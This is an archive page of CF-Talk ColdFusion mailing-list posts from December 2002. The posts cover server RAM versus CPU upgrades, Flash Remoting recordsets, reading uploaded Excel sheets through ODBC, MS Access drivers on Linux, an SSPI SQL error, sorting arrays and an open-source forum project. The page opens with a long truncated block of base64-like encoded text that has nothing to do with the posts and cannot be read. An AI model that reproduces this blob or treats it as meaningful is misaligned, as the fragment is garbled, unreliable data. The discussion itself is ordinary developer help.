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
Duk7AohGA34Exgk9jUUBO

Persistent Logins on HoF Archive site

[Eric Dawson]

For Mike,

Can we get a Persistent Login option on HoF Archive site?

Eric


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

RE: Couple of somewhat OT learning questions

[Eric Dawson]

Can I use CF to sample CPU and RAM loads and report back to me?

I am sure you can I am just lazy to search for the answer. I am guessing you 
use perfmon to get the data. (well I tried a search on the HoF archive site 
for perfmon).

Eric

From: "Mike Brunt" <[EMAIL PROTECTED]>
Reply-To: [EMAIL PROTECTED]
To: CF-Talk <[EMAIL PROTECTED]>
Subject: RE: Couple of somewhat OT learning questions
Date: Sun, 29 Dec 2002 13:04:30 -0800

I can give you an opinion on your first question.  My experience shows that
more RAM is more beneficial and when added to the fact that adding more RAM
is far less disruptive and less costly than adding an extra processor, that
is the route I would.  One other important point, if you don't already it is
good to keep an eye on your ColdFusion ERROR logs (I upper cased error
because we often forget that that is what they are for, logging errors).
Code that produces errors can often easily out pace any upgrades.

Hth.

Kind Regards - Mike Brunt
Webapper Services LLC
Web Site http://www.webapper.com
Blog http://www.webapper.net

Webapper 

-Original Message-
From: Rafael Alan Bleiweiss [mailto:[EMAIL PROTECTED]]
Sent: Sunday, December 29, 2002 12:29 PM
To: CF-Talk
Subject: Couple of somewhat OT learning questions

HAPPY NEW YEAR EVERYONE

OK - new year, new beginnings -

I am doing all I can to advance my own skills and improve my services...

Couple questions  (Don't know if anyone can help with the 2nd question and
beyond, but hey - everyone on this list is a brilliant web guru so why not
ask right?)

1.  Does 2 CPUs on a Windows 2k server running CF 5 enterprise make more
sense than adding RAM?   I have a Compaq 1600r server, with 512 megs of
RAM, and one 500 mhz CPU...

2.  Several prospective clients want someone skilled in PHP and MySQL...
would there be conflicts running PHP on my server alongside CF?

3. If I teach myself PHP can I co-mingle  PHP and CF on the same page?

4.  PHP - cgi version or Server API version?  Pro/con






~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

RE: Flash Remoting with CF

[Mike Chambers]

do you want the data from a partcular column?

i.e.

var rowNumber = 0;
var record = rs.getItemAt(rowNumber);
mystring = "#" + record.FNAME + "#" + record.LNAME + "#" + record.EMPID
+ "#";

i haven't tested that, so there may be some errors. does that do what
you are trying to do?

mike chambers

[EMAIL PROTECTED]

> -Original Message-
> From: Frank Mamone [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 2:16 PM
> To: CF-Talk
> Subject: SOT:Flash Remoting with CF
> 
> 
> Hi,
> 
> I got through the basics of Flash Remoting.  The server comes 
> back with a recordset, however I don't want to bind it to a 
> control with DataGlue. I simply need to build a string using 
> three of the column values.
> 
> I want to do this:
> 
> mystring = #FNAME##LNAME##EMPID#
> 
> Thanks
> 
> Frank Mamone.
> 
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

Re: Re[2]: excel as a vehicle to collect and write back data to a CF-App

[Eric Dawson]

I am going to get around to doing something similar. If you gain any insight 
please post to the list - good reading.

I am using excel web queries quite a bit to distribute web information to 
spreadsheets. Excel has some good reporting capabilities, so I find the 
combination quite useful. (I use the ID=sometable table attribute to 
identify data tables I want to make available for download to excel.)

? Can you do web queries in the Open Office spreadsheet?

I have been trying to figure out an easy way to post a file directly from 
excel. Interested in any ideas.

The suggestion to write some VB to create and post an XML file is pretty 
functional. And might be the best way, but I want to keep the client side 
pretty generic and have a very basic spreadsheet format for bulk imports. ie 
upload a XLS spreadsheet or CSV with any or all of these column headers.

Summary - I am guessing you can use VB to post an open file to the web. Not 
sure of the code though. If anyone has any samples it is appeciated.

Eric


From: [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: CF-Talk <[EMAIL PROTECTED]>
Subject: Re[2]: excel as a vehicle to collect and write back data to a 
CF-App
Date: Sun, 29 Dec 2002 13:54:03 +0100

Hi Dave, thank you very much.
That helped a lot.
I somehow thought it before I started
this question that the whole process is much
of a pain. :-(
Uwe

Sunday, December 29, 2002, 1:14:02 PM, you wrote:

DB> I have done more or less the same thing with my customers. It's a lot 
less
DB> taxing on the server to create the spreadsheet from HTML/CSV and have it 
run
DB> on the client than it is to manipulate it via an MS Office object on the
DB> server, but you end up doing both. I create the look I want for my Excel
DB> spreadsheet in HTML and save it as an HTML file then open it up in an 
Excel
DB> object on the server:

DB> 
DB> 

DB> 
DB> 

DB> 
DB> 

DB> /* Get the first sheet */
DB> objWorkSheet = objWorkSheets.Item(Val(1));
DB> objWorkSheet.Name = SheetName;
DB> 
DB> 
DB> 
DB>  SHOWERROR="Error occured while trying to 
get the active worksheet! Error
DB> Details: #CFCATCH.MESSAGE# #CFCATCH.DETAIL#"
DB> >
DB> 
DB> 

DB> Then I just save it as an Excel spreadsheet:

DB> 
DB> 

DB> /* Save the file */
DB> objWorkSheet.SaveAs(ExcelFilePath, Val(1));
DB> 
DB> 
DB> 
DB>  SHOWERROR="Error occured while trying to 
save the HTML as an Excel file!
DB> Error Details: #CFCATCH.MESSAGE# #CFCATCH.DETAIL#"
DB> >
DB> 
DB> 

DB> When the user is done filling in the workbook, they upload it via a form 
and
DB> then I query the sheet:

DB>  ACTION="UPLOAD"
DB> FILEFIELD="Excel_Spreadsheet_Path"
DB> DESTINATION="#ExcelFilePath#"
DB> NAMECONFLICT="OVERWRITE"
DB> ACCEPT="application/vnd.ms-excel"
DB> >
DB> 
DB> ExcelODBCConnectionString = "Driver={Microsoft Excel 
Driver
DB> (*.xls)};DriverId=790;Dbq=" & ExcelFilePath & ";DefaultDir=" &
DB> GetDirectoryFromPath(ExcelFilePath) & ";";
DB> 
DB>  NAME="GetDataSheet"
DB> DBTYPE="dynamic"
DB> BLOCKFACTOR="100"
DB> CONNECTSTRING="#ExcelODBCConnectionString#"
DB> >
DB> SELECT *
DB> FROM "#SheetName#$"
DB> WHERE (Users_ID IS NOT NULL)
DB> 

DB> It took a long time to figure out how to read the complete set of an
DB> arbitrary number of columns and associate it with the correct row. Also,
DB> validation is a real pain. I'm still working on vbscript validation that 
I
DB> can convert from HTML, but haven't figured out how to do it yet.

DB> -Original Message-
DB> From: CF-Talk [mailto:[EMAIL PROTECTED]]
DB> Sent: Saturday, December 28, 2002 10:34 PM
DB> To: [EMAIL PROTECTED]
DB> Date: Sat, 28 Dec 2002 22:00:48 +0100
DB> From: [EMAIL PROTECTED]
DB> Subject: excel as a vehicle to collect and write back data to a CF-App
DB> Message-ID: <[EMAIL PROTECTED]>

DB> I have a customer,
DB> who runs an application,
DB> where he can show, who
DB> is a a promotor or a consultant
DB> for certain products he is selling.
DB> The application runs on: CF 4.5, Win NT 4 Server
DB> with IIS 4 and MS-Access as a backend.
DB> Updating and deleting data works on
DB> a user-data-record base via web-frontend. Now the
DB> customer wants to deliver certain data, that
DB> has to be edited by certain responsible users.
DB> He wants

SOT:Flash Remoting with CF

[Frank Mamone]

Hi,

I got through the basics of Flash Remoting.  The server comes back with a recordset, 
however I don't want to bind it to a control with DataGlue. I simply need to build a 
string using three of the column values.

I want to do this:

mystring = #FNAME##LNAME##EMPID#

Thanks

Frank Mamone.

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm

RE: RESOLVED: Root template directory has not been specified

[Larry Juncker]

Set things up like this:

Application.cfm>
Admin/index.cfm
index.cfm>

Feeling pretty stupid now but it is working...so it must be right

Larry Juncker
Senior Cold fusion Developer
Heartland Communications Group, Inc.
[EMAIL PROTECTED]
(515) 574-2122

CONFIDENTIALITY NOTICE
The information contained in this e-mail is intended only for the use of the
individual or entity to which it is addressed.  This e-mail may contain
information that is privileged, confidential and/or personal.  If the reader
of this message is not the intended recipient (or the employee or agent
responsible to deliver it to the intended recipient), you are hereby
notified that any dissemination, distribution, or copying of this
communication is prohibited.

If you have received this communication in error, please notify us at the
e-mail listed above.

-Original Message-
From: Sean A Corfield [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 11:41 AM
To: CF-Talk
Subject: Re: RESOLVED: Root template directory has not been specified


On Monday, Dec 30, 2002, at 08:21 US/Pacific, Larry Juncker wrote:
> I got it all to work I think... Seems to be anyhow.

Don't keep us all in suspense Larry! What did you do to fix it?

Sean A Corfield -- http://www.corfield.org/blog/

"If you're not annoying somebody, you're not really alive."
-- Margaret Atwood


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

RE: Server Set-up Apache & Access?

[Rob Rohan]

"Wine" is the windows emulator. It's in the Red hat distro somewhere.

Rob

-Original Message-
From: Russ [mailto:[EMAIL PROTECTED]]
Sent: Monday, December 30, 2002 10:37 AM
To: CF-Talk
Subject: RE: Server Set-up Apache & Access?


I realize there are several threads--thanks.  Most of the answers that I
found were definite "No" answers, which I find difficult to fathom given
the way things are today with technology.

I did not find the win emulator bit, and that helps significantly.  I
also found that MySQL is more and more--at least from the places I
poked--loved than Access on any given day.  Given the nature of my SQL
statements and usage of the db, converting to MySQL seems to be the best
option.

Thank you, very much.

Russ

> -Original Message-
> From: Dick Applebaum [mailto:[EMAIL PROTECTED]]
> Sent: Monday, December 30, 2002 12:31 PM
> To: CF-Talk
> Subject: Re: Server Set-up Apache & Access?
>
>
> Russ
>
> There have been several threads on this -- search the archives.
>
> Here's a synopsis:
>
> MS-Access only runs on win OS.
>
> MS-Access is largely implemented within the driver, itself.
>
> You can run MS-Access under a win emulator.
>
> Then, you need some software bits from OpenLink Software
>
>  www.openlinksw.com
>
> The software bits allow MS-Access to run on an emulated (or
> real) win
> system and act like a db server --
>
> On the win system:
>
> OpenLink provides a Request Broker (that acts like a server) and an
> Agent that interfaces MS-Access.
>
> On the Linux/Unix/OS X system
>
> OpenLink provides a client that interfaces the Request Broker and a
> JDBC Driver thaqt interfaces the Client to CFMX.
>
> These bits cost $500.
>
> HTH
>
> Dick
>
>
> On Sunday, December 29, 2002, at 03:38 PM, Russ wrote:
>
> > Rookie question here, but I'm hoping it's got an easy enough answer.
> >
> > I've just set up my server--I'm running RedHat Linux 7.2
> and have CFMX
> > all set-up.  I'm almost there.
> >
> > Now, I need to know if there's any way (an easy/free way is what I'm
> > REALLY asking for here) to install MS Access drivers on the
> server so
> > that I don't need to alter any of my existing sites that
> are located on
> > an NT box with Access drivers.
> >
> > I'm finding a few resources, but the absolute truth is that
> I'm not
> > sure
> > what's best and what's going to be easiest for the rank
> novice to deal
> > with, so any advice is most certainly welcome.
> >
> > Thanks,
> >
> > Russ
> >
> >
>

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Get the mailserver that powers this list at http://www.coolfusion.com

RE: Server Set-up Apache & Access?

[Russ]

I realize there are several threads--thanks.  Most of the answers that I
found were definite "No" answers, which I find difficult to fathom given
the way things are today with technology.

I did not find the win emulator bit, and that helps significantly.  I
also found that MySQL is more and more--at least from the places I
poked--loved than Access on any given day.  Given the nature of my SQL
statements and usage of the db, converting to MySQL seems to be the best
option.

Thank you, very much.

Russ

> -Original Message-
> From: Dick Applebaum [mailto:[EMAIL PROTECTED]] 
> Sent: Monday, December 30, 2002 12:31 PM
> To: CF-Talk
> Subject: Re: Server Set-up Apache & Access?
> 
> 
> Russ
> 
> There have been several threads on this -- search the archives.
> 
> Here's a synopsis:
> 
> MS-Access only runs on win OS.
> 
> MS-Access is largely implemented within the driver, itself.
> 
> You can run MS-Access under a win emulator.
> 
> Then, you need some software bits from OpenLink Software
> 
>  www.openlinksw.com
> 
> The software bits allow MS-Access to run on an emulated (or 
> real) win  
> system and act like a db server --
> 
> On the win system:
> 
> OpenLink provides a Request Broker (that acts like a server) and an  
> Agent that interfaces MS-Access.
> 
> On the Linux/Unix/OS X system
> 
> OpenLink provides a client that interfaces the Request Broker and a  
> JDBC Driver thaqt interfaces the Client to CFMX.
> 
> These bits cost $500.
> 
> HTH
> 
> Dick
> 
> 
> On Sunday, December 29, 2002, at 03:38 PM, Russ wrote:
> 
> > Rookie question here, but I'm hoping it's got an easy enough answer.
> >
> > I've just set up my server--I'm running RedHat Linux 7.2 
> and have CFMX
> > all set-up.  I'm almost there.
> >
> > Now, I need to know if there's any way (an easy/free way is what I'm
> > REALLY asking for here) to install MS Access drivers on the 
> server so
> > that I don't need to alter any of my existing sites that 
> are located on
> > an NT box with Access drivers.
> >
> > I'm finding a few resources, but the absolute truth is that 
> I'm not  
> > sure
> > what's best and what's going to be easiest for the rank 
> novice to deal
> > with, so any advice is most certainly welcome.
> >
> > Thanks,
> >
> > Russ
> >
> > 
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

SOT: SQL error returned to coldfusion

[John Lucas]

I think I must be the king of strange errors and events, but I do have
another one to ask about.

Today, all of our applications on one server which all have been
performing for over a year with client variables in a SQL database
started showing up with the following error.

An error occurred while evaluating the expression:
request.urltoken=client.urltoken Error near line 12, column 7.

Error resolving parameter CLIENT.URLTOKEN

The client variable URLTOKEN does not exist. The cause of this error is
very likely one of the following things:The name of the client variable
has been misspelled.The client variable has not yet been created or has
timed out.

The code for that has not been changed in over six months and this is
affecting client variables across all sites, so that leads me to believe
that there is an ODBC problem that is not creating the client variable.

A little further into the application log, I come across the following
error:

[Microsoft][ODBC SQL Server Driver]Cannot generate SSPI context

It seems that the SSPI error only occurs on templates with a cflocation
in it.  Otherwise, the first error was occurring.

Of course, rebooting the server quick fixed the problem, but I am trying
to find more information about the SSPI error.  As far as I can
determine it has to do with authentication to the SQL server, but I'm
not sure.

The only other event that occurred prior to these bout of errors was a
couple of searches that failed open the verity collections.  We are
definitely having a problem with the verity collections getting
corrupted.

I'm trying to determine if one issue lead to the next or if there is a
bigger issue with connectivity to the SQL server (which has been fine
and unchanged for over a year).

Config: W2K, IIS, CF 5 Pro - W2K, SQL 7.0

Anyone else experience a similar issue?

Thanks,
John



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Re: Server Set-up Apache & Access?

[Dick Applebaum]

Russ

There have been several threads on this -- search the archives.

Here's a synopsis:

MS-Access only runs on win OS.

MS-Access is largely implemented within the driver, itself.

You can run MS-Access under a win emulator.

Then, you need some software bits from OpenLink Software

 www.openlinksw.com

The software bits allow MS-Access to run on an emulated (or real) win  
system and act like a db server --

On the win system:

OpenLink provides a Request Broker (that acts like a server) and an  
Agent that interfaces MS-Access.

On the Linux/Unix/OS X system

OpenLink provides a client that interfaces the Request Broker and a  
JDBC Driver thaqt interfaces the Client to CFMX.

These bits cost $500.

HTH

Dick


On Sunday, December 29, 2002, at 03:38 PM, Russ wrote:

> Rookie question here, but I'm hoping it's got an easy enough answer.
>
> I've just set up my server--I'm running RedHat Linux 7.2 and have CFMX
> all set-up.  I'm almost there.
>
> Now, I need to know if there's any way (an easy/free way is what I'm
> REALLY asking for here) to install MS Access drivers on the server so
> that I don't need to alter any of my existing sites that are located on
> an NT box with Access drivers.
>
> I'm finding a few resources, but the absolute truth is that I'm not  
> sure
> what's best and what's going to be easiest for the rank novice to deal
> with, so any advice is most certainly welcome.
>
> Thanks,
>
> Russ
>
> 
~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: Cold Fusion forum (OPEN SOURCE?)

[Tony Schreiber]

There was talk of that, yes. I decided to open up development of Simple
Message Board (already open source) to other developers, so I created a
SourceForge project (smb) to accomplish. Just getting it setup now.

> Did I miss part of this thread or is there a call out in this list for a
> volunteer to make a threaded forums component into an Open Source one for
> all to use?
>
> If that's  the case, I have one  that I developed and have evolved a bit
> over the past couple years... It's far from perfect right now but has some
> great features and I know it could be cleaned up tremendously as open
> source...
>
> If this is the deal, let me know!
>
>
>
> At 09:00 AM 12/30/02 -0500, you wrote:
> >I'm down as well. I use SMB on one of my sites now and have only had
> >minor issues with it.
> >I could look into the email functionality (notifying a user by email
> >when someone has responded to their topic) or is that already there and
> >I'm just not seeing it? Anyway, I'll help in any way I can.
> >
> >Candace K. Cottrell, Web Developer
> >The Children's Medical Center
> >One Children's Plaza
> >Dayton, OH 45404
> >937-641-4293
> >http://www.childrensdayton.org
> >
> >
> >[EMAIL PROTECTED]
> >
> > >>> [EMAIL PROTECTED] 12/26/2002 10:37:03 AM >>>
> >I'd be willing to open SMB to other developers...
> >
> >http://www.simplemessageboard.com/
> >
> > > I've dealt with UBB, fuseTalk, ezBoard, and the old Allaire Forums.
> >If I
> > > can say anything on the subject, it's that NO ONE has gotten it
> >right
> > > (especially on the database end).
> > >
> > > Mike D said a year ago he was going to re-write the old Allaire
> >Forums
> > > and eventually open source it. Which, stop me if I'm wrong, is what
> >is
> > > being used on houseoffusion.com? But I think I missed the part where
> >he
> > > open sourced it. Last I checked in June at cfFun, he said he was
> >still
> > > working on it.
> > >
> > > I for one would really like to work an open-source bbs project. I
> >think
> > > there is a pretty high demand for a sturdy open source board, which
> >can
> > > be customized at the will of the programmer. I've thrown around the
> > > open-source idea with a bunch of people but found our selves
> >intimidated
> > > by the legal requirements.
> > >
> > > You know we have a really great community here, but I can't tell you
> >of
> > > ANY cold fusion open-source projects. Is open source cold fusion a
> >pipe
> > > dream? Would anyone else be interested in contributing?
> > >
> > > Adam Wayne Lehman
> > > Web Systems Developer
> > > Johns Hopkins Bloomberg School of Public Health
> > > Distance Education Division
> > >
> > >
> > > -Original Message-
> > > From: Chris Montgomery [mailto:[EMAIL PROTECTED]]
> > > Sent: Monday, December 23, 2002 10:58 PM
> > > To: CF-Talk
> > > Subject: Re: Cold Fusion forum
> > >
> > > Howdy Michael,
> > >
> > > Thursday, December 19, 2002, 7:54:13 PM, Michael T. Tangorre wrote:
> > >
> > > > I am attempting to to try some more advanced things with an idea I
> > > > have. I am going to be building an online forum to tinker with..
> >can
> > > > anyone point me to some database examples? The code side is what I
> >am
> > > > going to be playing with but need a good architecture to use..
> >anyone
> > > > know of one I can download?
> > >
> > > I didn't see a reply to this yet, so I'll offer one to consider:
> > > http://sourceforge.net/projects/fbopenforums/
> > >
> > > It uses Fusebox, but you might be able to get something useful out
> >of
> > > it.
> > >
> > > If you are wanting to explore how the database would be structured
> >for a
> > > forums app, you might want to research hierarchical database design,
> > > parent-child relationships, or using recursion with your database.
> > >
> > > This page is an example of doing recursive joins for a forum:
> > > http://www.4guysfromrolla.com/webtech/sqlguru/q120899-1.shtml
> > > with a follow-up here:
> > > http://www.4guysfromrolla.com/webtech/sqlguru/q121799-1.shtml
> > >
> > > Another post about threaded discussion forums database design:
> > > http://www.sqlteam.com/item.asp?ItemID=1353
> > > with a follow-up here:
> > > http://www.sqlteam.com/item.asp?ItemID=1602
> > >
> > > Some good SQL sites to check out:
> > > http://www.dbmsmag.com/index.shtml
> > > http://www.codebits.com/ntm/
> > > http://www.onlamp.com/pub/a/onlamp/2001/07/12/aboutSQL.html
> > > http://www.sqlteam.com/Default.asp
> > > http://www.4guysfromrolla.com/
> > > http://www.intelligententerprise.com/info_centers/database/
> > > http://www.databasejournal.com/
> > > http://www.sqlmag.com/
> > >
> > > Hope that helps you somewhat.
> > >
> > > Happy Holidays!
> > >
> > > --
> > > Chris Montgomerymonty @ airtightweb.com
> > > Airtight Web Services   http://www.airtightweb.com
> > > Web Development, Web Project Management, Software Sales
> > > 210-490-3249/888-745-7603
> > >
> > >
> > >
> >
> >
> 
~

RE: DWMX Updater issues

[Michael Wilson]

I had an issue like that last week while updating another developers
copy... I did everything I was supposed to, but nothing was working. I
took the .exe and .dll files from the main install directory on my home
PC and replaced his existing files; then ran the update. Went off
without a hitch that time. I still have those files zipped up if you
need them.

-Original Message-
From: Candace Cottrell [mailto:[EMAIL PROTECTED]] 

Am I the only person having serious issues with the DWMX updater? I have
followed all the technotes and release notes, but have still yet to get
it working.


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: Array Troubles

[Everett, Al]

ArraySort() only works on one-dimensional arrays.

Try this UDF: http://www.cflib.org/udf.cfm?ID=390

p.s. The pound signs are not needed in these expressions:

>   
>   

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Re: RESOLVED: Root template directory has not been specified

[Sean A Corfield]

On Monday, Dec 30, 2002, at 08:21 US/Pacific, Larry Juncker wrote:
> I got it all to work I think... Seems to be anyhow.

Don't keep us all in suspense Larry! What did you do to fix it?

Sean A Corfield -- http://www.corfield.org/blog/

"If you're not annoying somebody, you're not really alive."
-- Margaret Atwood

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm

Array Troubles

[Luce, Greg]

I have an array I created by looping over a query.











At this point I can test arraylen() and get a value '73'. I can loop output
the whole array like this:

#order_array[i][1]# #order_array[i][2]#


The data in the array all looks proper, but I want to order it by the [2]
element. I've tried this and get an error:

An error occurred while evaluating the expression: 
 temp = arraysort(order_array, 'numeric', 'desc')
Error near line 43, column 7.

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm

Re: DWMX Updater issues

[Matt Brown]

At 10:30 AM 12/30/2002 -0500, you wrote:
>Am I the only person having serious issues with the DWMX updater? I have
>followed all the technotes and release notes, but have still yet to get
>it working. It is still saying that DW does not exist in that directory.
>I went through what the technote said to do in this scenario with no
>luck.

Can you take a look at the EXE file and do a properties on it? on the tab 
marked version if the version is 1714, please mail me off list and I can 
have someone follow up with you.

_

Matt Brown   Dreamweaver and Contribute Community Manager
Macromedia  (415) 706-6543   [EMAIL PROTECTED]
The Dreamweaver Blog:   http://shorterlink.com/?KB8LAL
Developer Resource Kit Volume 2: http://www.macromedia.com/software/drk/



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribe&forumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.

RE: Cold Fusion forum (OPEN SOURCE?)

[Rafael Alan Bleiweiss]

Did I miss part of this thread or is there a call out in this list for a 
volunteer to make a threaded forums component into an Open Source one for 
all to use?

If that's  the case, I have one  that I developed and have evolved a bit 
over the past couple years... It's far from perfect right now but has some 
great features and I know it could be cleaned up tremendously as open 
source...

If this is the deal, let me know!



At 09:00 AM 12/30/02 -0500, you wrote:
>I'm down as well. I use SMB on one of my sites now and have only had
>minor issues with it.
>I could look into the email functionality (notifying a user by email
>when someone has responded to their topic) or is that already there and
>I'm just not seeing it? Anyway, I'll help in any way I can.
>
>Candace K. Cottrell, Web Developer
>The Children's Medical Center
>One Children's Plaza
>Dayton, OH 45404
>937-641-4293
>http://www.childrensdayton.org
>
>
>[EMAIL PROTECTED]
>
> >>> [EMAIL PROTECTED] 12/26/2002 10:37:03 AM >>>
>I'd be willing to open SMB to other developers...
>
>http://www.simplemessageboard.com/
>
> > I've dealt with UBB, fuseTalk, ezBoard, and the old Allaire Forums.
>If I
> > can say anything on the subject, it's that NO ONE has gotten it
